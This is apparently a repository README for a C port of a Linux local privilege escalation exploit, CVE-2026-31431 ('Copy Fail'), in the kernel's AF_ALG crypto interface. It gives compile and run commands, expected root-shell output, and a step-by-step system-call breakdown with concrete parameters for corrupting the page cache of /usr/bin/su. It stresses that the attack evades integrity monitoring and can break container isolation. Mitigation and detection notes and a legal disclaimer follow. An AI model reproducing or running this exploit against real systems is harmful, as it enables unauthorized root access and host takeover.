
C-based local privilege escalation exploit for CVE-2026-31431, a Linux kernel vulnerability in the AF_ALG crypto interface, providing root access via page cache manipulation.
Copy Fail (CVE-2026-31431) is a logical vulnerability in the Linux kernel that allows a local unprivileged user to escalate privileges to superuser (root). The vulnerability belongs to the Local Privilege Escalation (LPE) class, does not require complex exploitation conditions (such as race conditions or memory address guessing), and works "out of the box" on most Linux distributions released after 2017.
This repository contains a C port of the original Python exploit with detailed comments, suitable for static compilation and use in minimal environments.
The vulnerability arises from a logical error in the Linux kernel cryptographic subsystem related to the handling of AF_ALG (the kernel cryptographic API interface) and the page cache mechanism.
The bug was introduced in 2017 when an optimization was added that removed extra buffering by performing AEAD (Authenticated Encryption with Associated Data) block cipher operations in-place. Due to incorrect buffer boundary handling in the authencesn algorithm (part of the AEAD cryptographic template), a 4-byte out-of-bounds write occurs beyond the allocated buffer, leading to corruption of page cache management structures.
As a result, the kernel can write data back to the page cache of a file, even if it was opened read-only (O_RDONLY).
AF_ALG socket and initializes the AEAD algorithm authencesn(hmac(sha256),cbc(aes)).setsockopt():
sendmsg() with control messages.splice() system call moves data from the target file (opened O_RDONLY) into the crypto socket.authencesn, the file's page cache is corrupted, and "decrypted" data is written back into the cache.root privileges.Vulnerable distributions (when using kernels with the algif_aead module loaded):
Special significance: in containerized environments (Docker, LXC, Kubernetes), processes inside a container have access to the AF_ALG subsystem by default if the algif_aead module is loaded in the host kernel. This creates a risk of container isolation breach and gaining control over the host machine.
Vulnerability check:
# Check whether the algif_aead module is loaded
lsmod | grep algif
# Check for AF_ALG presence in the kernel
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
The original exploit was written in Python (≈732 bytes). This C port has the following features:
libz.strace).recv() — prevents hanging, replicating the try/except behavior from Python.Key differences from the Python version identified during porting:
# Requires libz (zlib1g-dev or zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
Upon successful exploitation, a patched version of /usr/bin/su will be launched, providing root access without a password prompt.
Expected output:
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su opened
[+] 40 chunks
[*] 40/40 ok
# id
uid=0(root) gid=0(root) groups=0(root)
Below is a detailed breakdown of each exploit step with the corresponding system calls:
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
A socket is created for accessing the kernel cryptographic API. The authencesn algorithm (Authenticated Encryption with Sequence Numbers) is a composite AEAD algorithm using AES-CBC for encryption and HMAC-SHA256 for authentication.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 zeros), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19 zeros), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3 zeros)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
A connection is created for the operation. Parameters are set via sendmsg() with control messages (CMSG):
ALG_OP_DECRYPT = 0).All these anomalies create inconsistencies in kernel memory management.
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);
splice() is a system call for moving data between file descriptors without copying through userspace. Data is moved at the kernel level via the pipe mechanism.
splice(target_fd -> pipe): data from the target file (/usr/bin/su) enters the pipe.splice(pipe -> conn_sock): data from the pipe enters the crypto socket as "ciphertext".Key point: in Python (and in this port), the offset for the pipe is passed as NULL, allowing the kernel to manage the position automatically.
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);
The recv() call forces the kernel to complete the cryptographic operation. In normal mode, decrypted data would be returned here, but due to the anomalous parameters, an EBADMSG error (Python) or EAGAIN (C with O_NONBLOCK) is returned. The error is ignored — the page cache corruption has already occurred at the splice() stage.
The page cache is a cache of file contents in RAM. When a process opens a file with O_RDONLY, the kernel only allows reading from this cache. However, the vulnerability allows bypassing this restriction:
write() call, but splice() operates directly at the page cache level, bypassing these checks.Changes occur only in RAM, not on disk. This makes the attack difficult to detect with standard integrity monitoring tools. After a reboot or page cache flush, traces of the attack disappear.
Update the Linux kernel to a version containing the fix.
Disable the algif_aead module:
# Prevent module loading
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf
# Unload the module (if loaded)
sudo rmmod algif_aead
Additional recommendations:
AF_ALG via seccomp profiles./usr/bin/su file change on disk?No. Changes occur only in the page cache (RAM). The file content on disk remains unchanged. After a system reboot, the page cache is flushed, and the file returns to its original state.
Detection is possible via:
auditd, strace).AF_ALG socket usage.Standard integrity monitoring tools (AIDE, Tripwire) will not detect the changes, since the file on disk remains unchanged.
This code is provided exclusively for educational and research purposes. The author bears no responsibility for any unlawful use of this code. Using the exploit without explicit permission from the system owner is illegal and may result in criminal liability.
Use only on systems that belong to you, or on systems where you have explicit written permission for security testing.
| Component | Description |
|---|
| Linux kernel | All versions from 2017 until the inclusion of the fixing patch |
| Subsystem | crypto (module algif_aead) |
| Interface | AF_ALG — user-space access to the kernel crypto API |
| System call | splice() in combination with AF_ALG sockets |
| Parameter | Python | C (this port) |
|---|
sendmsg() flag | MSG_MORE | MSG_MORE |
splice() flag | 0 | 0 |
| Pipe offset | NULL | NULL |
| Key size | 40 bytes | 40 bytes |
cmsg_len | 20/36/20 | 20/36/20 (hardcoded) |
| Pipe creation | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | Blocking with try/except | Non-blocking (O_NONBLOCK) |